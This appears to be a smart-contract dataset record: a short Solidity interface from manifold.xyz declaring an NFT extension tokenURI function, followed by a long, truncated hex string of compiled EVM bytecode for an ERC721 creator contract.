}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Implement this if you want your extension to have overloadable URI's
*/
interface ICreatorExtensionTokenURI is IERC165 {
/**
* Get the uri for a given creator/tokenId
*/
function tokenURI(address creator, uint256 tokenId) external view returns (string memory);
} | 0x608060405234801561001057600080fd5b50600436106103625760003560e01c806370a08231116101c8578063ad2d0ddd11610104578063d5a06d4c116100a2578063e985e9c51161007c578063e985e9c51461076f578063f0cdc499146107ab578063f2fde38b146107be578063fe2e1f58146107d157600080fd5b8063d5a06d4c14610702578063e00aab4b14610749578063e92a89f61461075c57600080fd5b8063b9c4d9fb116100de578063b9c4d9fb146106e2578063bb3bafd614610702578063c87b56dd14610723578063ce8aee9d1461073657600080fd5b8063ad2d0ddd146106a9578063b0fe87c9146106bc578063b88d4fde146106cf57600080fd5b806383b7db631161017157806399e0dd7c1161014b57806399e0dd7c1461065d578063a22cb46514610670578063aafb2d4414610683578063ac0c8cfa1461069657600080fd5b806383b7db631461063c5780638da5cb5b1461064457806395d89b411461065557600080fd5b80637884af44116101a25780637884af44146106035780637aa15f161461061657806382dcc0c81461062957600080fd5b806370a08231146105d5578063715018a6146105e857806372ff03d3146105f057600080fd5b80632d345670116102a25780633f0f37f61161024057806361e5bc6b1161021a57806361e5bc6b146105895780636352211e1461059c57806366d1e9d0146105af5780636d73e669146105c257600080fd5b80633f0f37f61461055057806342842e0e1461056357806342966c681461057657600080fd5b806331ae450b1161027c57806331ae450b14610502578063332dd1ae1461051757806338e52e781461052a5780633e6134b81461053d57600080fd5b80632d345670146104c957806330176e13146104dc5780633071a0f9146104ef57600080fd5b8063162094c41161030f57806323b872dd116102e957806323b872dd1461045057806324d7806c146104635780632928ca58146104765780632a55205a1461049757600080fd5b8063162094c41461041757806320e4afe21461042a578063239be3171461043d57600080fd5b8063081812fc11610340578063081812fc146103b9578063095ea7b3146103e45780630ebd4c7f146103f757600080fd5b806301ffc9a71461036757806302e7afb71461038f57806306fdde03146103a4575b600080fd5b61037a6103753660046149a2565b6107e4565b60405190151581526020015b60405180910390f35b6103a261039d366004614502565b610813565b005b6103ac610872565b6040516103869190614e51565b6103cc6103c7366004614adf565b610904565b6040516001600160a01b039091168152602001610386565b6103a26103f2366004614817565b610999565b61040a610405366004614adf565b610acd565b6040516103869190614e3e565b6103a2610425366004614b2b565b610b63565b6103a2610438366004614af7565b610bb8565b6103cc61044b366004614adf565b610c4a565b6103a261045e366004614556565b610c87565b61037a610471366004614502565b610cb8565b610489610484366004614502565b610cf1565b604051908152602001610386565b6104aa6104a5366004614b5b565b610d65565b604080516001600160a01b039093168352602083019190915201610386565b6103a26104d7366004614502565b610db1565b6103a26104ea3660046149da565b610e60565b6103a26104fd36600461473a565b610ee9565b61050a610f97565b6040516103869190614d3a565b6103a2610525366004614842565b611061565b61040a6105383660046146bb565b6110b8565b6103a261054b3660046149da565b61121f565b6103a261055e36600461477f565b611252565b6103a2610571366004614556565b6112f9565b6103a2610584366004614adf565b611314565b6103a26105973660046148aa565b6113ba565b6103cc6105aa366004614adf565b6114a1565b6103a26105bd3660046149da565b611518565b6103a26105d0366004614502565b611549565b6104896105e3366004614502565b6115f3565b6103a261167a565b6104896105fe366004614502565b6116e0565b61048961061136600461473a565b61176d565b61040a6106243660046146bb565b61182d565b6103a2610637366004614a19565b6119ab565b61050a6119dd565b6000546001600160a01b03166103cc565b6103ac611aa3565b6103a261066b3660046149da565b611ab2565b6103a261067e36600461470d565b611b06565b6103a26106913660046148aa565b611bcb565b6103a26106a436600461496a565b611cd5565b61040a6106b73660046147e4565b611df9565b6103a26106ca36600461463c565b611f3b565b6103a26106dd366004614596565b611f92565b6106f56106f0366004614adf565b611fc4565b6040516103869190614e06565b610715610710366004614adf565b612063565b604051610386929190614e19565b6103ac610731366004614adf565b61215f565b6103a2610744366004614502565b61219f565b61040a6107573660046147e4565b6121f2565b6103a261076a366004614b2b565b612306565b61037a61077d36600461451e565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b6103a26107b936600461451e565b612338565b6103a26107cc366004614502565b61238c565b6104896107df36600461473a565b612454565b60006107ef826124e5565b806107fe57506107fe8261250a565b8061080d575061080d82612545565b92915050565b336108266000546001600160a01b031690565b6001600160a01b03161480610841575061084160023361257a565b6108665760405162461bcd60e51b815260040161085d90614f69565b60405180910390fd5b61086f8161259f565b50565b6060600480546108819061510d565b80601f01602080910402602001604051908101604052809291908181526020018280546108ad9061510d565b80156108fa5780601f106108cf576101008083540402835291602001916108fa565b820191906000526020600020905b8154815290600101906020018083116108dd57829003601f168201915b5050505050905090565b6000818152600660205260408120546001600160a01b031661097d5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161085d565b506000908152600860205260409020546001600160a01b031690565b60006109a4826114a1565b9050806001600160a01b0316836001600160a01b03161415610a125760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161085d565b336001600160a01b0382161480610a4c57506001600160a01b038116600090815260096020908152604080832033845290915290205460ff165b610abe5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161085d565b610ac8838361269b565b505050565b6000818152600660205260409020546060906001600160a01b0316610b045760405162461bcd60e51b815260040161085d90614eed565b610b0d82612709565b805480602002602001604051908101604052809291908181526020018280548015610b5757602002820191906000526020600020905b815481526020019060010190808311610b43575b50505050509050919050565b33610b766000546001600160a01b031690565b6001600160a01b03161480610b915750610b9160023361257a565b610bad5760405162461bcd60e51b815260040161085d90614f69565b610ac8838383612795565b33610bcb6000546001600160a01b031690565b6001600160a01b03161480610be65750610be660023361257a565b610c025760405162461bcd60e51b815260040161085d90614f69565b6000858152600660205260409020546001600160a01b0316610c365760405162461bcd60e51b815260040161085d90614eed565b610c438585858585612804565b5050505050565b6000818152600660205260408120546001600160a01b0316610c7e5760405162461bcd60e51b815260040161085d90614eed565b61080d8261295b565b610c913382612a18565b610cad5760405162461bcd60e51b815260040161085d90614f18565b610ac8838383612b0f565b6000816001600160a01b0316610cd66000546001600160a01b031690565b6001600160a01b0316148061080d575061080d60028361257a565b600060026001541415610d165760405162461bcd60e51b815260040161085d90614fad565b6002600155610d26600b3361257a565b610d425760405162461bcd60e51b815260040161085d90614eb6565b610d5b8260405180602001604052806000815250612cba565b6001805592915050565b60008281526006602052604081205481906001600160a01b0316610d9b5760405162461bcd60e51b815260040161085d90614eed565b610da58484612d34565b915091505b9250929050565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161085d565b610e1660028261257a565b1561086f5760405133906001600160a01b038316907f7c0c3c84c67c85fcac635147348bfe374c24a1a93d0366d1cfe9d8853cbf89d590600090a3610e5c600282612e38565b5050565b33610e736000546001600160a01b031690565b6001600160a01b03161480610e8e5750610e8e60023361257a565b610eaa5760405162461bcd60e51b815260040161085d90614f69565b610e5c82828080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612e4d92505050565b33610efc6000546001600160a01b031690565b6001600160a01b03161480610f175750610f1760023361257a565b610f335760405162461bcd60e51b815260040161085d90614f69565b82610f3f600d8261257a565b15610f845760405162461bcd60e51b8152602060048201526015602482015274115e1d195b9cda5bdb88189b1858dadb1a5cdd1959605a1b604482015260640161085d565b610f918484846000612e6d565b50505050565b6060610fa36002612fa8565b6001600160401b03811115610fc857634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610ff1578160200160208202803683370190505b50905060005b6110016002612fa8565b81101561105d57611013600282612fb2565b82828151811061103357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03909216602092830291909101909101528061105581615164565b915050610ff7565b5090565b336110746000546001600160a01b031690565b6001600160a01b0316148061108f575061108f60023361257a565b6110ab5760405162461bcd60e51b815260040161085d90614f69565b610f913085858585612fbe565b6060600260015414156110dd5760405162461bcd60e51b815260040161085d90614fad565b60026001556110ed600b3361257a565b6111095760405162461bcd60e51b815260040161085d90614eb6565b816001600160401b0381111561112f57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611158578160200160208202803683370190505b50905060005b82811015611213576111d68585858481811061118a57634e487b7160e01b600052603260045260246000fd5b905060200281019061119c9190614fe4565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612cba92505050565b8282815181106111f657634e487b7160e01b600052603260045260246000fd5b60209081029190910101528061120b81615164565b91505061115e565b50600180559392505050565b61122a600b3361257a565b6112465760405162461bcd60e51b815260040161085d90614eb6565b610e5c8282600061317d565b336112656000546001600160a01b031690565b6001600160a01b03161480611280575061128060023361257a565b61129c5760405162461bcd60e51b815260040161085d90614f69565b836112a8600d8261257a565b156112ed5760405162461bcd60e51b8152602060048201526015602482015274115e1d195b9cda5bdb88189b1858dadb1a5cdd1959605a1b604482015260640161085d565b610c4385858585612e6d565b610ac883838360405180602001604052806000815250611f92565b600260015414156113375760405162461bcd60e51b815260040161085d90614fad565b60026001556113463382612a18565b6113925760405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564604482015260640161085d565b600061139d826114a1565b90506113a8826131ba565b6113b28183613261565b505060018055565b6113c5600b3361257a565b6113e15760405162461bcd60e51b815260040161085d90614eb6565b825181146114215760405162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081a5b9c1d5d609a1b604482015260640161085d565b60005b8351811015610f915761148f84828151811061145057634e487b7160e01b600052603260045260246000fd5b602002602001015184848481811061147857634e487b7160e01b600052603260045260246000fd5b905060200281019061148a9190614fe4565b613377565b8061149981615164565b915050611424565b6000818152600660205260408120546001600160a01b03168061080d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161085d565b611523600b3361257a565b61153f5760405162461bcd60e51b815260040161085d90614eb6565b610e5c82826133cd565b6000546001600160a01b031633146115a35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161085d565b6115ae60028261257a565b61086f5760405133906001600160a01b038316907f7e1a1a08d52e4ba0e21554733d66165fd5151f99460116223d9e3a608eec5cb190600090a3610e5c6002826133e7565b60006001600160a01b03821661165e5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161085d565b506001600160a01b031660009081526007602052604090205490565b6000546001600160a01b031633146116d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161085d565b6116de60006133fc565b565b6000600260015414156117055760405162461bcd60e51b815260040161085d90614fad565b60026001553361171d6000546001600160a01b031690565b6001600160a01b03161480611738575061173860023361257a565b6117545760405162461bcd60e51b815260040161085d90614f69565b610d5b826040518060200160405280600081525061344c565b6000600260015414156117925760405162461bcd60e51b815260040161085d90614fad565b6002600155336117aa6000546001600160a01b031690565b6001600160a01b031614806117c557506117c560023361257a565b6117e15760405162461bcd60e51b815260040161085d90614f69565b6118218484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061344c92505050565b60018055949350505050565b6060600260015414156118525760405162461bcd60e51b815260040161085d90614fad565b60026001553361186a6000546001600160a01b031690565b6001600160a01b03161480611885575061188560023361257a565b6118a15760405162461bcd60e51b815260040161085d90614f69565b816001600160401b038111156118c757634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156118f0578160200160208202803683370190505b50905060005b828110156112135761196e8585858481811061192257634e487b7160e01b600052603260045260246000fd5b90506020028101906119349190614fe4565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061344c92505050565b82828151811061198e57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806119a381615164565b9150506118f6565b6119b6600b3361257a565b6119d25760405162461bcd60e51b815260040161085d90614eb6565b610ac883838361317d565b60606119e9600b612fa8565b6001600160401b03811115611a0e57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611a37578160200160208202803683370190505b50905060005b611a47600b612fa8565b81101561105d57611a59600b82612fb2565b828281518110611a7957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015280611a9b81615164565b915050611a3d565b6060600580546108819061510d565b33611ac56000546001600160a01b031690565b6001600160a01b03161480611ae05750611ae060023361257a565b611afc5760405162461bcd60e51b815260040161085d90614f69565b610e5c828261348f565b6001600160a01b038216331415611b5f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161085d565b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b33611bde6000546001600160a01b031690565b6001600160a01b03161480611bf95750611bf960023361257a565b611c155760405162461bcd60e51b815260040161085d90614f69565b82518114611c555760405162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081a5b9c1d5d609a1b604482015260640161085d565b60005b8351811015610f9157611cc3848281518110611c8457634e487b7160e01b600052603260045260246000fd5b6020026020010151848484818110611cac57634e487b7160e01b600052603260045260246000fd5b9050602002810190611cbe9190614fe4565b612795565b80611ccd81615164565b915050611c58565b611ce0600b3361257a565b611cfc5760405162461bcd60e51b815260040161085d90614eb6565b801580611d155750611d1533634ce6d51160e11b6134a9565b611d875760405162461bcd60e51b815260206004820152603f60248201527f457874656e73696f6e206d75737420696d706c656d656e74204945524337323160448201527f43726561746f72457874656e73696f6e417070726f76655472616e7366657200606482015260840161085d565b3360009081526010602052604090205460ff1615158115151461086f5733600081815260106020908152604091829020805460ff191685151590811790915591519182527f072a7592283e2c2d1d56d21517ff6013325e0f55483f4828373ff4d98b0a1a36910160405180910390a250565b606060026001541415611e1e5760405162461bcd60e51b815260040161085d90614fad565b600260015533611e366000546001600160a01b031690565b6001600160a01b03161480611e515750611e5160023361257a565b611e6d5760405162461bcd60e51b815260040161085d90614f69565b8161ffff166001600160401b03811115611e9757634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611ec0578160200160208202803683370190505b50905060005b8261ffff168161ffff161015611f3057611eef846040518060200160405280600081525061344c565b828261ffff1681518110611f1357634e487b7160e01b600052603260045260246000fd5b602090810291909101015280611f2881615142565b915050611ec6565b506001805592915050565b33611f4e6000546001600160a01b031690565b6001600160a01b03161480611f695750611f6960023361257a565b611f855760405162461bcd60e51b815260040161085d90614f69565b610c438585858585612fbe565b611f9c3383612a18565b611fb85760405162461bcd60e51b815260040161085d90614f18565b610f91848484846134c5565b6000818152600660205260409020546060906001600160a01b0316611ffb5760405162461bcd60e51b815260040161085d90614eed565b612004826134f8565b805480602002602001604051908101604052809291908181526020018280548015610b5757602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161203a5750505050509050919050565b606080612087836000908152600660205260409020546001600160a01b0316151590565b6120a35760405162461bcd60e51b815260040161085d90614eed565b6120ac83613584565b8154604080516020808402820181019092528281529184918301828280156120fd57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116120df575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561214f57602002820191906000526020600020905b81548152602001906001019080831161213b575b5050505050905091509150915091565b6000818152600660205260409020546060906001600160a01b03166121965760405162461bcd60e51b815260040161085d90614eed565b61080d826135a2565b336121b26000546001600160a01b031690565b6001600160a01b031614806121cd57506121cd60023361257a565b6121e95760405162461bcd60e51b815260040161085d90614f69565b61086f81613853565b6060600260015414156122175760405162461bcd60e51b815260040161085d90614fad565b6002600155612227600b3361257a565b6122435760405162461bcd60e51b815260040161085d90614eb6565b8161ffff166001600160401b0381111561226d57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612296578160200160208202803683370190505b50905060005b8261ffff168161ffff161015611f30576122c58460405180602001604052806000815250612cba565b828261ffff16815181106122e957634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806122fe81615142565b91505061229c565b612311600b3361257a565b61232d5760405162461bcd60e51b815260040161085d90614eb6565b610ac8838383613377565b3361234b6000546001600160a01b031690565b6001600160a01b03161480612366575061236660023361257a565b6123825760405162461bcd60e51b815260040161085d90614f69565b610e5c82826138a4565b6000546001600160a01b031633146123e65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161085d565b6001600160a01b03811661244b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085d565b61086f816133fc565b6000600260015414156124795760405162461bcd60e51b815260040161085d90614fad565b6002600155612489600b3361257a565b6124a55760405162461bcd60e51b815260040161085d90614eb6565b6118218484848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250612cba92505050565b60006001600160e01b03198216639088c20760e01b148061080d575061080d826139d9565b60006001600160e01b031982166380ac58cd60e01b14806107fe57506001600160e01b03198216635b5e139f60e01b148061080d575061080d825b60006001600160e01b03198216632a9f3abf60e11b148061080d57506301ffc9a760e01b6001600160e01b031983161461080d565b6001600160a01b038116600090815260018301602052604081205415155b9392505050565b6001600160a01b0381163014156125f85760405162461bcd60e51b815260206004820152601960248201527f43616e6e6f7420626c61636b6c69737420796f757273656c6600000000000000604482015260640161085d565b612603600b8261257a565b1561264b5760405133906001600160a01b038316907fd19cf84cf0fec6bec9ddfa29c63adf83a55707c712f32c8285d6180a7890147990600090a3612649600b82612e38565b505b612656600d8261257a565b61086f5760405133906001600160a01b038316907f05ac7bc5a606cd92a63365f9fda244499b9add0526b22d99937b6bd88181059c90600090a3610e5c600d826133e7565b600081815260086020526040902080546001600160a01b0319166001600160a01b03841690811790915581906126d0826114a1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152601960205260408120541561272f5750600090815260196020526040902090565b6000828152601160209081526040808320546001600160a01b0316835260179091529020541561278157506000908152601160209081526040808320546001600160a01b031683526017909152902090565b505030600090815260176020526040902090565b6000838152601160205260409020546001600160a01b031630146127eb5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2103a37b5b2b760991b604482015260640161085d565b6000838152601560205260409020610f919083836142b5565b8281146128435760405162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081a5b9c1d5d609a1b604482015260640161085d565b6000805b828110156128955783838281811061286f57634e487b7160e01b600052603260045260246000fd5b9050602002013582612881919061507f565b91508061288d81615164565b915050612847565b5061271081106128e15760405162461bcd60e51b8152602060048201526017602482015276496e76616c696420746f74616c20726f79616c7469657360481b604482015260640161085d565b60008681526018602052604090206128fa908686614335565b506000868152601960205260409020612914908484614388565b50857fabb46fe0761d77584bde75697647804ffd8113abd4d8d06bc664150395eccdee8686868660405161294b9493929190614d87565b60405180910390a2505050505050565b6000818152601160205260409020546001600160a01b0316308114156129c35760405162461bcd60e51b815260206004820152601660248201527f4e6f20657874656e73696f6e20666f7220746f6b656e00000000000000000000604482015260640161085d565b6129ce600d8261257a565b15612a135760405162461bcd60e51b8152602060048201526015602482015274115e1d195b9cda5bdb88189b1858dadb1a5cdd1959605a1b604482015260640161085d565b919050565b6000818152600660205260408120546001600160a01b0316612a915760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161085d565b6000612a9c836114a1565b9050806001600160a01b0316846001600160a01b03161480612ad75750836001600160a01b0316612acc84610904565b6001600160a01b0316145b80612b0757506001600160a01b0380821660009081526009602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316612b22826114a1565b6001600160a01b031614612b8a5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161085d565b6001600160a01b038216612bec5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161085d565b612bf7838383613a6f565b612c0260008261269b565b6001600160a01b0383166000908152600760205260408120805460019290612c2b9084906150ca565b90915550506001600160a01b0382166000908152600760205260408120805460019290612c5990849061507f565b909155505060008181526006602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a805460009182612ccb83615164565b9190505550600a549050612cdf8382613a7a565b600081815260116020526040902080546001600160a01b03191633179055612d078382613b0e565b815115612d2f5760008181526015602090815260409091208351612d2d928501906143c2565b505b61080d565b6000806000612d42856134f8565b805490915060011015612d975760405162461bcd60e51b815260206004820152601c60248201527f4d6f7265207468616e203120726f79616c747920726563656976657200000000604482015260640161085d565b8054612daa573060009250925050610daa565b80600081548110612dcb57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031661271085612ded88612709565b600081548110612e0d57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154612e2291906150ab565b612e2c9190615097565b92509250509250929050565b6000612598836001600160a01b038416613b28565b3060009081526012602090815260409091208251610e5c928401906143c2565b6001600160a01b038416301415612eb95760405162461bcd60e51b815260206004820152601060248201526f10dc99585d1bdc8e88125b9d985b1a5960821b604482015260640161085d565b6001600160a01b0384163b612f1e5760405162461bcd60e51b815260206004820152602560248201527f43726561746f723a20457874656e73696f6e206d757374206265206120636f6e6044820152641d1c9858dd60da1b606482015260840161085d565b612f29600b8561257a565b610f91576001600160a01b0384166000908152601260205260409020612f509084846142b5565b506001600160a01b038416600081815260136020526040808220805460ff1916851515179055513392917fd8cb8ba4086944eabf43c5535b7712015e4d4c714b24bf812c040ea5b7a3e42a91a3610c43600b856133e7565b600061080d825490565b60006125988383613c45565b828114612ffd5760405162461bcd60e51b815260206004820152600d60248201526c125b9d985b1a59081a5b9c1d5d609a1b604482015260640161085d565b6000805b8281101561304f5783838281811061302957634e487b7160e01b600052603260045260246000fd5b905060200201358261303b919061507f565b91508061304781615164565b915050613001565b50612710811061309b5760405162461bcd60e51b8152602060048201526017602482015276496e76616c696420746f74616c20726f79616c7469657360481b604482015260640161085d565b6001600160a01b03861660009081526016602052604090206130be908686614335565b506001600160a01b03861660009081526017602052604090206130e2908484614388565b506001600160a01b038616301415613136577f2b6849d5976d799a5b0ca4dfd6b40a3d7afe9ea72c091fa01a958594f9a2659b858585856040516131299493929190614d87565b60405180910390a1613175565b856001600160a01b03167f535a93d2cb000582c0ebeaa9be4890ec6a287f98eb2df00c54c300612fd78d8f8686868660405161294b9493929190614d87565b505050505050565b3360009081526012602052604090206131979084846142b5565b50336000908152601360205260409020805460ff19169115159190911790555050565b60006131c5826114a1565b90506131d381600084613a6f565b6131de60008361269b565b6001600160a01b03811660009081526007602052604081208054600192906132079084906150ca565b909155505060008281526006602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000818152601160205260409020546001600160a01b03163014613321576000818152601160205260409020546132a8906001600160a01b03166311686e4b60e21b6134a9565b1561332157600081815260116020526040908190205490516311686e4b60e21b81526001600160a01b03848116600483015260248201849052909116906345a1b92c90604401600060405180830381600087803b15801561330857600080fd5b505af115801561331c573d6000803e3d6000fd5b505050505b6000818152601560205260409020805461333a9061510d565b15905061335857600081815260156020526040812061335891614436565b600090815260116020526040902080546001600160a01b031916905550565b6000838152601160205260409020546001600160a01b031633146127eb5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b2103a37b5b2b760991b604482015260640161085d565b336000908152601460205260409020610ac89083836142b5565b6000612598836001600160a01b038416613c7d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600a80546000918261345d83615164565b9091555050600a54600081815260116020526040902080546001600160a01b031916301790559050612d078382613b0e565b306000908152601460205260409020610ac89083836142b5565b60006134b483613ccc565b801561259857506125988383613cff565b6134d0848484612b0f565b6134dc84848484613de8565b610f915760405162461bcd60e51b815260040161085d90614e64565b6000818152601860205260408120541561351e5750600090815260186020526040902090565b6000828152601160209081526040808320546001600160a01b0316835260169091529020541561357057506000908152601160209081526040808320546001600160a01b031683526016909152902090565b505030600090815260166020526040902090565b600080613590836134f8565b61359984612709565b91509150915091565b6000818152601160205260409020546060906001600160a01b03166135c8600d8261257a565b1561360d5760405162461bcd60e51b8152602060048201526015602482015274115e1d195b9cda5bdb88189b1858dadb1a5cdd1959605a1b604482015260640161085d565b600083815260156020526040902080546136269061510d565b159050613740576001600160a01b038116600090815260146020526040902080546136509061510d565b1590506136a1576001600160a01b03811660009081526014602090815260408083208684526015835292819020905161368a939201614cf3565b604051602081830303815290604052915050919050565b600083815260156020526040902080546136ba9061510d565b80601f01602080910402602001604051908101604052809291908181526020018280546136e69061510d565b80156137335780601f1061370857610100808354040283529160200191613733565b820191906000526020600020905b81548152906001019060200180831161371657829003601f168201915b5050505050915050919050565b6137518163e9dc637560e01b6134a9565b156137d85760405163e9dc637560e01b8152306004820152602481018490526001600160a01b0382169063e9dc63759060440160006040518083038186803b15801561379c57600080fd5b505afa1580156137b0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526125989190810190614a6d565b6001600160a01b03811660009081526013602052604090205460ff1661382a576001600160a01b038116600090815260126020526040902061381984613ef5565b60405160200161368a929190614cce565b6001600160a01b038116600090815260126020526040902080546136ba9061510d565b50919050565b61385e600b8261257a565b1561086f5760405133906001600160a01b038316907fd19cf84cf0fec6bec9ddfa29c63adf83a55707c712f32c8285d6180a7890147990600090a3610e5c600b82612e38565b6138af600b8361257a565b6138fb5760405162461bcd60e51b815260206004820152601e60248201527f43726561746f72436f72653a20496e76616c696420657874656e73696f6e0000604482015260640161085d565b6001600160a01b038116158061391d575061391d81631e05385b60e31b6134a9565b61395b5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161085d565b6001600160a01b038281166000908152600f6020526040902054811690821614610e5c576001600160a01b038281166000818152600f602052604080822080546001600160a01b031916948616948517905551339392917f6a835c4fcf7e0d398db3762332fdaa1471814ad39f1e2d6d0b3fdabf8efee3e091a45050565b60006001600160e01b031982166328f10a2160e01b14806139fe57506139fe8261250a565b80613a1957506001600160e01b03198216635d9dd7eb60e11b145b80613a3457506001600160e01b03198216632dde656160e21b145b80613a4f57506001600160e01b031982166335681b5360e21b145b8061080d57506001600160e01b0319821663152a902d60e11b1492915050565b610ac883838361400e565b336000908152600f60205260409020546001600160a01b031615610e5c57336000818152600f602052604090819020549051631e05385b60e31b815260048101929092526001600160a01b03848116602484015260448301849052169063f029c2d890606401600060405180830381600087803b158015613afa57600080fd5b505af1158015613175573d6000803e3d6000fd5b610e5c828260405180602001604052806000815250614134565b60008181526001830160205260408120548015613c3b576000613b4c6001836150ca565b8554909150600090613b60906001906150ca565b9050818114613be1576000866000018281548110613b8e57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080876000018481548110613bbf57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b8554869080613c0057634e487b7160e01b600052603160045260246000fd5b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061080d565b600091505061080d565b6000826000018281548110613c6a57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054613cc45750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561080d565b50600061080d565b6000613cdf826301ffc9a760e01b613cff565b801561080d5750613cf8826001600160e01b0319613cff565b1592915050565b604080516001600160e01b0319831660248083019190915282518083039091018152604490910182526020810180516001600160e01b03166301ffc9a760e01b179052905160009190829081906001600160a01b0387169061753090613d66908690614cb2565b6000604051808303818686fa925050503d8060008114613da2576040519150601f19603f3d011682016040523d82523d6000602084013e613da7565b606091505b5091509150602081511015613dc2576000935050505061080d565b818015613dde575080806020019051810190613dde9190614986565b9695505050505050565b60006001600160a01b0384163b15613eea57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290613e2c903390899088908890600401614d08565b602060405180830381600087803b158015613e4657600080fd5b505af1925050508015613e76575060408051601f3d908101601f19168201909252613e73918101906149be565b60015b613ed0573d808015613ea4576040519150601f19603f3d011682016040523d82523d6000602084013e613ea9565b606091505b508051613ec85760405162461bcd60e51b815260040161085d90614e64565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612b07565b506001949350505050565b606081613f195750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613f435780613f2d81615164565b9150613f3c9050600a83615097565b9150613f1d565b6000816001600160401b03811115613f6b57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015613f95576020820181803683370190505b5090505b8415612b0757613faa6001836150ca565b9150613fb7600a8661517f565b613fc290603061507f565b60f81b818381518110613fe557634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350614007600a86615097565b9450613f99565b6000818152601160209081526040808320546001600160a01b03168352601090915290205460ff1615610ac85760008181526011602052604090819020549051638258080560e01b81526001600160a01b03858116600483015284811660248301526044820184905290911690638258080590606401602060405180830381600087803b15801561409e57600080fd5b505af11580156140b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140d69190614986565b610ac85760405162461bcd60e51b81